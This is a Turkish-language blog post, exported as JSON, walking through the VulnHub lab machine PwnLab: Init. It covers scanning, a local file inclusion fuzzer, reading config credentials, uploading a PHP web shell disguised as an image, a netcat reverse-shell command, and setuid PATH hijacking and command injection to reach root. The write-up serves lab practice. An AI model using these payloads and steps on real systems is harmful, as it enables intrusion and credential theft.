{"id":1180,"date":"2021-06-13T23:07:04","date_gmt":"2021-06-13T23:07:04","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1180"},"modified":"2021-06-13T23:07:04","modified_gmt":"2021-06-13T23:07:04","slug":"pwnlab-init","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/13\/pwnlab-init\/","title":{"rendered":"PWNLAB: INIT"},"content":{"rendered":"<h2>Makine Hakk\u0131nda Bilgiler<\/h2>\n<p><strong>A\u00e7\u0131klama:<\/strong><br \/>\nDifficulty: Low<br \/>\nFlag: \/root\/flag.txt<\/p>\n<p><strong>Vulnhub Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/www.vulnhub.com\/entry\/pwnlab-init,158\/\">https:\/\/www.vulnhub.com\/entry\/pwnlab-init,158\/<\/a><\/p>\n<p><strong>\u0130ndirme Sayfas\u0131:<\/strong> <a href=\"https:\/\/download.vulnhub.com\/pwnlab\/pwnlab_init.ova\">https:\/\/download.vulnhub.com\/pwnlab\/pwnlab_init.ova<\/a><\/p>\n<h2>Walkthrough<\/h2>\n<p>Makinenin ip adresini tespit edelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# ifconfig \neth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 192.168.0.21  netmask 255.255.255.0  broadcast 192.168.0.255\n        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)\n        RX packets 19  bytes 2274 (2.2 KiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1042  bytes 64120 (62.6 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 8  bytes 400 (400.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 8  bytes 400 (400.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# arp-scan -l | grep 08:00:27:7b:2c:77 <\/code><\/pre>\n<p>nmap taramas\u0131 ile devam edelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# nmap 192.168.0.13 -p- -A -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-13 16:00 EDT\nNmap scan report for 192.168.0.13\nHost is up (0.00092s latency).\nNot shown: 65531 closed ports\nPORT      STATE SERVICE VERSION\n80\/tcp    open  http    Apache httpd 2.4.10 ((Debian))\n|_http-server-header: Apache\/2.4.10 (Debian)\n|_http-title: PwnLab Intranet Image Hosting\n111\/tcp   open  rpcbind 2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port\/proto  service\n|   100000  2,3,4        111\/tcp   rpcbind\n|   100000  2,3,4        111\/udp   rpcbind\n|   100000  3,4          111\/tcp6  rpcbind\n|   100000  3,4          111\/udp6  rpcbind\n|   100024  1          33782\/udp6  status\n|   100024  1          51941\/tcp6  status\n|   100024  1          55263\/udp   status\n|_  100024  1          59971\/tcp   status\n3306\/tcp  open  mysql   MySQL 5.5.47-0+deb8u1\n| mysql-info: \n|   Protocol: 10\n|   Version: 5.5.47-0+deb8u1\n|   Thread ID: 38\n|   Capabilities flags: 63487\n|   Some Capabilities: SupportsLoadDataLocal, Support41Auth, LongColumnFlag, IgnoreSpaceBeforeParenthesis, FoundRows, ODBCClient, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsCompression, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins\n|   Status: Autocommit\n|   Salt: }R`js&#039;dB\\*[l.=(O5[KG\n|_  Auth Plugin Name: mysql_native_password\n59971\/tcp open  status  1 (RPC #100024)\nMAC Address: 08:00:27:7B:2C:77 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.92 ms 192.168.0.13\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 25.42 seconds\n<\/code><\/pre>\n<p>mysql ve hppt... san\u0131r\u0131 arka planda php var. Nikto taramas\u0131na bakal\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali]\n\u2514\u2500# nikto -h http:\/\/192.168.0.13\/    \n- Nikto v2.1.6\n---------------------------------------------------------------------------\n+ Target IP:          192.168.0.13\n+ Target Hostname:    192.168.0.13\n+ Target Port:        80\n+ Start Time:         2021-06-13 16:05:00 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.10 (Debian)\n+ The anti-clickjacking X-Frame-Options header is not present.\n+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS\n+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type\n+ No CGI Directories found (use &#039;-C all&#039; to force check all possible dirs)\n+ IP address found in the &#039;location&#039; header. The IP is &quot;127.0.1.1&quot;.\n+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to \/images over HTTP\/1.0. The value is &quot;127.0.1.1&quot;.\n+ Apache\/2.4.10 appears to be outdated (current is at least Apache\/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.\n+ Cookie PHPSESSID created without the httponly flag\n+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.\n+ \/config.php: PHP Config file may contain database IDs and passwords.\n+ OSVDB-3268: \/images\/: Directory indexing found.\n+ OSVDB-3233: \/icons\/README: Apache default file found.\n+ \/login.php: Admin login page\/section found.\n+ 7915 requests: 0 error(s) and 12 item(s) reported on remote host\n+ End Time:           2021-06-13 16:06:13 (GMT-4) (73 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested\n<\/code><\/pre>\n<p>Login sayfas\u0131na sqlmap ile denemeler yapt\u0131m ancak ba\u015far\u0131l\u0131 olamad\u0131m. <strong><a href=\"http:\/\/192.168.0.13\/?page=upload\">http:\/\/192.168.0.13\/?page=upload<\/a><\/strong>  gibi sayfalar vard\u0131 ve bu bana lfi olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcrd\u00fc. Bunu test etmek i\u00e7in bir kod yazd\u0131m. A\u015fa\u011f\u0131da bu kodun \u00e7\u0131kt\u0131s\u0131 bulunmaktad\u0131r.<\/p>\n<pre><code class=\"language-py\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# cat lfi-project.py      \nimport requests\n\nhttp_proxy  = &quot;http:\/\/127.0.0.1:8080&quot;\nproxyDict = {&quot;http&quot;:http_proxy}\n\nurl = input(&quot;[*] Hedef URL&#039;i giriniz:\\r\\n&quot;)\n\nattackType = input(&quot;L\u00fctfen LFI t\u00fcr\u00fcn\u00fc se\u00e7iniz:\\r\\n1- Default\\r\\n2- Filter\\r\\n&quot;)\nif(attackType == &quot;1&quot;):\n    wordlistFile = open(&quot;lfi-wordlist.txt&quot;)\n    wordlist = wordlistFile.read().split(&quot;\\n&quot;)\n    wordlistFile.close()\n    for i in wordlist:\n        r = requests.get(url+i, proxies=proxyDict)\n        print(&quot;URL:&quot;,url+i,&quot;    Code:&quot;,r.status_code,&quot;    Size:&quot;,len(r.text))\n\nelif(attackType == &quot;2&quot;):\n    pages = open(&quot;common.txt&quot;)\n    wordlist = pages.read().split(&quot;\\n&quot;)\n    pages.close()\n    for i in wordlist:\n        r = requests.get(url+&quot;php:\/\/filter\/convert.base64-encode\/resource=&quot;+i, proxies=proxyDict)\n        print(&quot;URL:&quot;,url+&quot;php:\/\/filter\/convert.base64-encode\/resource=&quot;+i,&quot;    Code:&quot;,r.status_code,&quot;    Size:&quot;,len(r.text))\nelse:\n    print(&quot;[*] Hatal\u0131 se\u00e7im!&quot;)\n<\/code><\/pre>\n<p>B\u00fct\u00fcn burdaki s\u00fcreci k\u0131saca a\u00e7\u0131klayayim. B\u00fct\u00fcn ileti\u015fimi burp'e y\u00f6nlendirdim. Gelen isteklerin boyutlar\u0131na g\u00f6re analiz etmeye ba\u015flad\u0131m ve a\u015fa\u011f\u0131daki adreslerde lfi tespit ettim.<\/p>\n<pre><code>?page=php:\/\/filter\/convert.base64-encode\/resource=upload\n\/?page=php:\/\/filter\/convert.base64-encode\/resource=login\n\/?page=php:\/\/filter\/convert.base64-encode\/resource=index \n\/?page=php:\/\/filter\/convert.base64-encode\/resource=config <\/code><\/pre>\n<p>\u015eimdi bunlar\u0131 inceleyelim. config ile ba\u015flad\u0131m.<\/p>\n<pre><code class=\"language-http\">GET \/?page=php:\/\/filter\/convert.base64-encode\/resource=config HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: python-requests\/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nConnection: close<\/code><\/pre>\n<p>Cevap:<\/p>\n<pre><code class=\"language-http\">HTTP\/1.1 200 OK\n\nDate: Sun, 13 Jun 2021 23:59:50 GMT\n\nServer: Apache\/2.4.10 (Debian)\n\nVary: Accept-Encoding\n\nContent-Length: 405\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n&lt;html&gt;\n\n&lt;head&gt;\n\n&lt;title&gt;PwnLab Intranet Image Hosting&lt;\/title&gt;\n\n&lt;\/head&gt;\n\n&lt;body&gt;\n\n&lt;center&gt;\n\n&lt;img src=&quot;images\/pwnlab.png&quot;&gt;&lt;br \/&gt;\n\n[ &lt;a href=&quot;\/&quot;&gt;Home&lt;\/a&gt; ] [ &lt;a href=&quot;?page=login&quot;&gt;Login&lt;\/a&gt; ] [ &lt;a href=&quot;?page=upload&quot;&gt;Upload&lt;\/a&gt; ]\n\n&lt;hr\/&gt;&lt;br\/&gt;\n\nPD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+&lt;\/center&gt;\n\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<p>Bu k\u0131sm\u0131 decode etti\u011fimizde:<\/p>\n<pre><code>&lt;?php\n$server   = &quot;localhost&quot;;\n$username = &quot;root&quot;;\n$password = &quot;H4u%QJ_H99&quot;;\n$database = &quot;Users&quot;;\n?&gt;<\/code><\/pre>\n<p>Mysql bilgilerimizi elde ettik. Mysql'e ba\u011fland\u0131m:<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# mysql -u root -h 192.168.0.13 -p                         \nEnter password: \nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 32650\nServer version: 5.5.47-0+deb8u1 (Debian)\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType &#039;help;&#039; or &#039;\\h&#039; for help. Type &#039;\\c&#039; to clear the current input statement.\n\nMySQL [(none)]&gt; show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| Users              |\n+--------------------+\n2 rows in set (0.002 sec)\n\nMySQL [(none)]&gt; use Users;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMySQL [Users]&gt; show tables;\n+-----------------+\n| Tables_in_Users |\n+-----------------+\n| users           |\n+-----------------+\n1 row in set (0.001 sec)\n\nMySQL [Users]&gt; select * from users;\n+------+------------------+\n| user | pass             |\n+------+------------------+\n| kent | Sld6WHVCSkpOeQ== |\n| mike | U0lmZHNURW42SQ== |\n| kane | aVN2NVltMkdSbw== |\n+------+------------------+\n3 rows in set (0.001 sec)\n\nMySQL [Users]&gt; <\/code><\/pre>\n<p>Elimizde baz\u0131 kullan\u0131c\u0131lar var ve bu kullan\u0131c\u0131lar\u0131n parolalar\u0131 base64 ile encode edilmi\u015f. Kolayca decode edilebilir.<br \/>\nSayfalar\u0131n kaynak kodlar\u0131n\u0131 incelerken ilgin\u00e7 bir ayr\u0131nt\u0131y\u0131 yakalad\u0131m.<\/p>\n<pre><code class=\"language-http\">GET \/?page=php:\/\/filter\/convert.base64-encode\/resource=index HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: python-requests\/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nConnection: close<\/code><\/pre>\n<p>Cevap:<\/p>\n<pre><code class=\"language-http\">HTTP\/1.1 200 OK\nDate: Mon, 14 Jun 2021 00:00:17 GMT\nServer: Apache\/2.4.10 (Debian)\nVary: Accept-Encoding\nContent-Length: 1097\nConnection: close\nContent-Type: text\/html; charset=UTF-8\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;PwnLab Intranet Image Hosting&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;center&gt;\n&lt;img src=&quot;images\/pwnlab.png&quot;&gt;&lt;br \/&gt;\n[ &lt;a href=&quot;\/&quot;&gt;Home&lt;\/a&gt; ] [ &lt;a href=&quot;?page=login&quot;&gt;Login&lt;\/a&gt; ] [ &lt;a href=&quot;?page=upload&quot;&gt;Upload&lt;\/a&gt; ]\n&lt;hr\/&gt;&lt;br\/&gt;\nPD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo\/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw\/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=&lt;\/center&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>Decode:<\/p>\n<pre><code class=\"language-php\">&lt;?php\n\/\/Multilingual. Not implemented yet.\n\/\/setcookie(&quot;lang&quot;,&quot;en.lang.php&quot;);\nif (isset($_COOKIE[&#039;lang&#039;]))\n{\n    include(&quot;lang\/&quot;.$_COOKIE[&#039;lang&#039;]);\n}\n\/\/ Not implemented yet.\n?&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;PwnLab Intranet Image Hosting&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;center&gt;\n&lt;img src=&quot;images\/pwnlab.png&quot;&gt;&lt;br \/&gt;\n[ &lt;a href=&quot;\/&quot;&gt;Home&lt;\/a&gt; ] [ &lt;a href=&quot;?page=login&quot;&gt;Login&lt;\/a&gt; ] [ &lt;a href=&quot;?page=upload&quot;&gt;Upload&lt;\/a&gt; ]\n&lt;hr\/&gt;&lt;br\/&gt;\n&lt;?php\n    if (isset($_GET[&#039;page&#039;]))\n    {\n        include($_GET[&#039;page&#039;].&quot;.php&quot;);\n    }\n    else\n    {\n        echo &quot;Use this server to upload and share image files inside the intranet&quot;;\n    }\n?&gt;\n&lt;\/center&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p><code>include(&quot;lang\/&quot;.$_COOKIE[&#039;lang&#039;]);<\/code> k\u0131sm\u0131 son derece \u00f6nemli. Taramalar esnas\u0131nda bir file upload sayfas\u0131 bulmu\u015ftum ve buray\u0131 manip\u00fcle etmeyi denedim. En sonunda bir php kodu i\u00e7eren dosya y\u00fckleyebildim. A\u015fa\u011f\u0131da bunu bir iste\u011fi bulunmaktad\u0131r.<\/p>\n<pre><code class=\"language-php\">POST \/?page=upload HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart\/form-data; boundary=---------------------------13866755612239220068481365210\nContent-Length: 885\nOrigin: http:\/\/192.168.0.13\nConnection: close\nReferer: http:\/\/192.168.0.13\/?page=upload\nCookie: PHPSESSID=dl7taaf9l643vsifgiijs538q5\nUpgrade-Insecure-Requests: 1\n-----------------------------13866755612239220068481365210\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;simple-backdoor.png&quot;\nContent-Type: image\/png\n\nGIF89a\n\u00f7\u00ff\n&lt;?php\n\nif(isset($_REQUEST[&#039;cmd&#039;])){\n        echo &quot;&lt;pre&gt;&quot;;\n        $cmd = ($_REQUEST[&#039;cmd&#039;]);\n        system($cmd);\n        echo &quot;&lt;\/pre&gt;&quot;;\n        die;\n}\n\n?&gt;\nUsage: http:\/\/target.com\/simple-backdoor.php?cmd=cat+\/etc\/passwd\n\n&lt;!--    http:\/\/michaeldaw.org   2006    --&gt;\n\n-----------------------------13866755612239220068481365210\n\nContent-Disposition: form-data; name=&quot;submit&quot;\n\nUpload\n\n-----------------------------13866755612239220068481365210--<\/code><\/pre>\n<p>Cevap:<\/p>\n<pre><code class=\"language-http\">HTTP\/1.1 200 OK\nDate: Mon, 14 Jun 2021 01:02:51 GMT\nServer: Apache\/2.4.10 (Debian)\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post\ncheck=0, pre-check=0\nPragma: no-cache\nVary: Accept-Encoding\nContent-Length: 541\nConnection: close\nContent-Type: text\/html; charset=UTF-8\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;PwnLab Intranet Image Hosting&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;center&gt;\n&lt;img src=&quot;images\/pwnlab.png&quot;&gt;&lt;br \/&gt;\n[ &lt;a href=&quot;\/&quot;&gt;Home&lt;\/a&gt; ] [ &lt;a href=&quot;?page=login&quot;&gt;Login&lt;\/a&gt; ] [ &lt;a href=&quot;?page=upload&quot;&gt;Upload&lt;\/a&gt; ]\n&lt;hr\/&gt;&lt;br\/&gt;\n&lt;html&gt;\n    &lt;body&gt;\n        &lt;form action=&#039;&#039; method=&#039;post&#039; enctype=&#039;multipart\/form-data&#039;&gt;\n            &lt;input type=&#039;file&#039; name=&#039;file&#039; id=&#039;file&#039; \/&gt;\n            &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;Upload&#039;\/&gt;\n        &lt;\/form&gt;\n    &lt;\/body&gt;\n&lt;\/html&gt;\n&lt;img src=&quot;upload\/a6484e3af8488113e8479a42be1eb68b.png&quot;&gt;&lt;br \/&gt;&lt;\/center&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>Bunun \u00fczerine a\u015fa\u011f\u0131daki http iste\u011fini \u00e7al\u0131\u015ft\u0131rd\u0131m. A\u015fa\u011f\u0131daki Cookie alan\u0131na dikkat etmemiz gerekmektedir.<\/p>\n<pre><code class=\"language-http\">GET \/?cmd=nc+192.168.0.21+1822+-e+\/bin\/bash HTTP\/1.1\n HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie:lang=..\/upload\/a6484e3af8488113e8479a42be1eb68b.png\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0<\/code><\/pre>\n<p>Tabi yukar\u0131daki iste\u011fin \u00e7al\u0131\u015fmas\u0131 i\u00e7in bir dinleme noktas\u0131 ba\u015flatt\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# nc -lvp 1822                \nlistening on [any] 1822 ...\n192.168.0.13: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.13] 55263\nls\nconfig.php\nimages\nindex.php\nlogin.php\nupload\nupload.php\nwhoami\nwww-data\npython -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;\nwww-data@pwnlab:\/var\/www\/html$ \n<\/code><\/pre>\n<p>Biraz gezindim i\u00e7eride ve mysql'den elde etti\u011fim bilgilerle kullan\u0131c\u0131 de\u011fi\u015ftirdim.<\/p>\n<pre><code class=\"language-sh\">www-data@pwnlab:\/tmp$ su kent\nsu kent\nPassword: JWzXuBJJNy\n\nkent@pwnlab:\/tmp$ whoami\nwhoami\nkent\nkent@pwnlab:\/home$ ls\nls\njohn  kane  kent  mike\nkent@pwnlab:\/home$ cd mike\ncd mike\nbash: cd: mike: Permission denied\n<\/code><\/pre>\n<p>Bunun \u00fczerine ba\u015fka kullan\u0131c\u0131lara ge\u00e7i\u015f yapmay\u0131 denedim.<\/p>\n<pre><code class=\"language-sh\">su kane\nPassword: iSv5Ym2GRo\n\nkane@pwnlab:\/home$ ls\nls\njohn  kane  kent  mike\nkane@pwnlab:\/home$ cd kane  \ncd kane\nkane@pwnlab:~$ ls\nls\nmsgmike\nkane@pwnlab:~$ ls -al\nls -al\ntotal 28\ndrwxr-x--- 2 kane kane 4096 Mar 17  2016 .\ndrwxr-xr-x 6 root root 4096 Mar 17  2016 ..\n-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout\n-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc\n-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike\n-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\ncat: \/home\/mike\/msg.txt: No such file or directory<\/code><\/pre>\n<p>cat komutunu kulland\u0131\u011f\u0131n\u0131 g\u00f6r\u00fcyorum ve dosyan\u0131n sahibi mike. Bununn \u00fczerine PATH de\u011fi\u015fkenini kullanarak yetki y\u00fckseltmeyi denedim.<\/p>\n<pre><code class=\"language-sh\">kane@pwnlab:~$ echo $PATH\necho $PATH\n\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\nkane@pwnlab:~$ echo &quot;\/bin\/sh&quot; &gt;&gt; \/tmp\/cat\necho &quot;\/bin\/sh&quot; &gt;&gt; \/tmp\/cat\nkane@pwnlab:~$ export PATH=\/tmp:$PATH\nexport PATH=\/tmp:$PATH\nkane@pwnlab:~$ echo $PATH\necho $PATH\n\/tmp:\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\nkane@pwnlab:~$ ls\nls\nmsgmike\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\ncat: \/home\/mike\/msg.txt: No such file or directory\nkane@pwnlab:~$ chmod 777 \/tmp\/cat\nchmod 777 \/tmp\/cat\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\n$ whoami\nwhoami\nmike\n<\/code><\/pre>\n<p>Harika! Ara\u015ft\u0131rma yapmaya devam ettim.<\/p>\n<pre><code class=\"language-sh\">$ cd mike\ncd mike\n$ ls\nls\nmsg2root\n$ ls -al\nls -al\ntotal 28\ndrwxr-x--- 2 mike mike 4096 Mar 17  2016 .\ndrwxr-xr-x 6 root root 4096 Mar 17  2016 ..\n-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout\n-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc\n-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root\n-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile\n<\/code><\/pre>\n<p>G\u00f6rd\u00fc\u011f\u00fcm\u00fcz gibi msg2root dosyas\u0131 root kullan\u0131c\u0131s\u0131na ait.<\/p>\n<pre><code class=\"language-sh\">.\/msg2root\nMessage for root: \n\n$ id\nid\nuid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)\n$ strings .\/msg2root    \nstrings .\/msg2root\n\/lib\/ld-linux.so.2\nlibc.so.6\n_IO_stdin_used\nstdin\nfgets\nasprintf\nsystem\n__libc_start_main\n__gmon_start__\nGLIBC_2.0\nPTRh\n[^_]\nMessage for root: \n\/bin\/echo %s &gt;&gt; \/root\/messages.txt\n;*2$&quot;(\nGCC: (Debian 4.9.2-10) 4.9.2\nGCC: (Debian 4.8.4-1) 4.8.4\n.symtab\n...\n...<\/code><\/pre>\n<p>Kullan\u0131c\u0131dan al\u0131nan de\u011fi\u015fken direkt olarak \/root kals\u00f6\u00fc alt\u0131ndaki messages.txt dosyas\u0131na yaz\u0131l\u0131yor. Burada parametre arac\u0131l\u0131\u011f\u0131 ile kod \u00e7al\u0131\u015ft\u0131rabiliriz gibi duruyor.<\/p>\n<pre><code class=\"language-sh\">bash-4.3$ ls\nls\nmsg2root\nbash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test\ntest\ntest\nbash-4.3$ \n\nbash-4.3$ \n\nbash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test; whoami;\ntest; whoami;\ntest\nroot\n<\/code><\/pre>\n<p>Harika! \u015eimdi direkt root olal\u0131m ve flagi okuyal\u0131m.<\/p>\n<pre><code class=\"language-sh\">bash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test; \/bin\/sh\ntest; \/bin\/sh\ntest\n# whoami\nwhoami\nroot\n# cd \/root\ncd \/root\n# ls          \nls\nflag.txt  messages.txt\n# wc flag.txt\nwc flag.txt\n  23  196 1840 flag.txt\n# head -n 23 flag.txt\nhead -n 23 flag.txt\n.-=~=-.                                                                 .-=~=-.\n(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)\n(_ ___)  _____                             _                            (_ ___)\n(__  _) \/  __ \\                           | |                           (__  _)\n( _ __) | \/  \\\/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)\n(__  _) | |    \/ _ \\| &#039;_ \\ \/ _` | &#039;__\/ _` | __\/ __|                     (__  _)\n(_ ___) | \\__\/\\ (_) | | | | (_| | | | (_| | |_\\__ \\                     (_ ___)\n(__  _)  \\____\/\\___\/|_| |_|\\__, |_|  \\__,_|\\__|___\/                     (__  _)\n( _ __)                     __\/ |                                       ( _ __)\n(__  _)                    |___\/                                        (__  _)\n(__  _)                                                                 (__  _)\n(_ ___) If  you are  reading this,  means  that you have  break &#039;init&#039;  (_ ___)\n( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)\n(__  _) this challenge.                                                 (__  _)\n(_ ___)                                                                 (_ ___)\n( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)\n(__  _) reading it                                                      (__  _)\n(__  _)                                                                 (__  _)\n(__  _)                                             For sniferl4bs.com  (__  _)\n( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)\n(__  _)                                                                 (__  _)\n(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)\n`-._.-&#039;                                                                 `-._.-&#039;\n# <\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: Difficulty: Low Flag: \/root\/flag.txt Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/pwnlab-init,158\/ \u0130ndirme Sayfas\u0131: https:\/\/download.vulnhub.com\/pwnlab\/pwnlab_init.ova Walkthrough Makinenin ip adresini tespit edelim. \u250c\u2500\u2500(root&#x1f480;kali)-[\/home\/kali] \u2514\u2500# ifconfig eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a 